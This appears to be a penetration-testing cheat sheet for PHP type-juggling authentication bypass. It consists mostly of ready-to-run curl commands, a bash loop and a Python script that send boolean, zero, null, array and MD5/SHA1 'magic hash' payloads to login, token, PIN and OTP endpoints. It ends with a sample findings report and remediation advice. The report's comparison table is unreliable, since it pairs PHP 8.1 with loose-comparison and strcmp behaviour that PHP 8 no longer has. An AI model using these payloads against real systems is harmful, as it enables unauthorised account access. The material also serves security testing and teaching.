# Look for PHP applications with:
# - Login/authentication forms
# - Password comparison endpoints
# - API endpoints accepting JSON input
# - Token/hash verification
# - Numeric comparison for access control
 
# Check if application accepts JSON input (allows type control)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"test"}'
 
# If application normally uses form data, try JSON
# Form: username=admin&password=test
# JSON: {"username":"admin","password":true}

# PHP loose comparison: 0 == "password" returns TRUE
# Send integer 0 as password via JSON
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":0}'
 
# Send boolean true (TRUE == "any_string" in loose comparison)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":true}'
 
# Send empty array (array bypasses strcmp)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":[]}'
 
# Send null
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":null}'
 
# PHP strcmp vulnerability: strcmp(array, string) returns NULL
# NULL == 0 is TRUE in loose comparison
curl -X POST http://target.com/login \
  -d "username=admin&password[]=anything"

# PHP treats "0e..." strings as scientific notation (0 * 10^N = 0)
# If hash starts with "0e" followed by only digits, it equals 0 in loose comparison
 
# Magic MD5 hashes (all evaluate to 0 in loose comparison):
# "240610708" -> md5: 0e462097431906509019562988736854
# "QNKCDZO"  -> md5: 0e830400451993494058024219903391
# "aabg7XSs" -> md5: 0e087386482136013740957780965295
# "aabC9RqS" -> md5: 0e041022518165728065344349536299
 
# If application compares md5(user_input) == stored_hash:
# And stored_hash starts with "0e" and contains only digits after
curl -X POST http://target.com/login \
  -d "username=admin&password=240610708"
 
# Magic SHA1 hashes:
# "aaroZmOk" -> sha1: 0e66507019969427134894567494305185566735
# "aaK1STfY" -> sha1: 0e76658526655756207688271159624026011393
 
# Test with known magic hash values
for payload in "240610708" "QNKCDZO" "aabg7XSs" "aabC9RqS" "0e1137126905" "0e215962017"; do
  echo -n "Testing: $payload -> "
  curl -s -X POST http://target.com/login \
    -d "username=admin&password=$payload" -o /dev/null -w "%{http_code}"
  echo
done

# Numeric comparison bypass
# If: if($user_id == $target_id) { // allow access }
# "0" == "0e12345" is TRUE (both evaluate to 0)
 
# String to integer conversion
# "1abc" == 1 is TRUE in PHP (string truncated to integer)
curl "http://target.com/api/user?id=1abc"
 
# Boolean comparison for role checking
# if($role == true) grants access to any non-empty string
curl -X POST http://target.com/api/action \
  -H "Content-Type: application/json" \
  -d '{"action":"delete","role":true}'
 
# Null comparison for optional checks
# if($token == null) might skip validation
curl -X POST http://target.com/api/verify \
  -H "Content-Type: application/json" \
  -d '{"token":0}'

# PHP json_decode() preserves types
# Attacker controls type via JSON: true, 0, null, []
 
# Bypass token verification
curl -X POST http://target.com/api/verify-token \
  -H "Content-Type: application/json" \
  -d '{"token":true}'
 
# Bypass numeric PIN verification
curl -X POST http://target.com/api/verify-pin \
  -H "Content-Type: application/json" \
  -d '{"pin":true}'
 
# Bypass with zero value
curl -X POST http://target.com/api/check-code \
  -H "Content-Type: application/json" \
  -d '{"code":0}'
 
# PHP unserialize() type juggling
# Craft serialized object with integer type instead of string
# s:8:"password"; -> i:0; (string "password" to integer 0)

# Test all common type juggling payloads against each parameter
# Using Burp Intruder with type juggling payload list
 
# Payload list for JSON-based testing:
# true
# false
# null
# 0
# 1
# ""
# []
# "0"
# "0e99999"
# "240610708"
 
# Python automation
python3 -c "
import requests
import json
 
url = 'http://target.com/api/login'
payloads = [True, False, None, 0, 1, '', [], '0', '0e99999', '240610708', 'QNKCDZO']
 
for p in payloads:
    data = {'username': 'admin', 'password': p}
    r = requests.post(url, json=data)
    print(f'password={json.dumps(p):20s} -> Status: {r.status_code}, Length: {len(r.text)}')
"

## Type Juggling Vulnerability Report
- **Target**: http://target.com
- **Language**: PHP 8.1
- **Framework**: Laravel
 
### Findings
| # | Endpoint | Parameter | Payload | Type | Impact |
|---|----------|-----------|---------|------|--------|
| 1 | POST /login | password | true (boolean) | Loose comparison | Auth bypass |
| 2 | POST /login | password | 240610708 (magic hash) | MD5 0e collision | Auth bypass |
| 3 | POST /login | password[] | array | strcmp NULL return | Auth bypass |
| 4 | POST /verify | code | 0 (integer) | Numeric comparison | OTP bypass |
 
### PHP Comparison Table (Relevant)
| Expression | Result | Reason |
|-----------|--------|--------|
| 0 == "password" | TRUE | String cast to 0 |
| true == "password" | TRUE | Non-empty string is truthy |
| "0e123" == "0e456" | TRUE | Both are scientific notation = 0 |
| NULL == 0 | TRUE | NULL cast to 0 |
 
### Remediation
- Replace all == with === (strict comparison) in security-critical code
- Use password_verify() for password comparison instead of direct comparison
- Use hash_equals() for timing-safe hash comparison
- Validate input types before comparison operations
- Enable PHP strict_types declaration in all files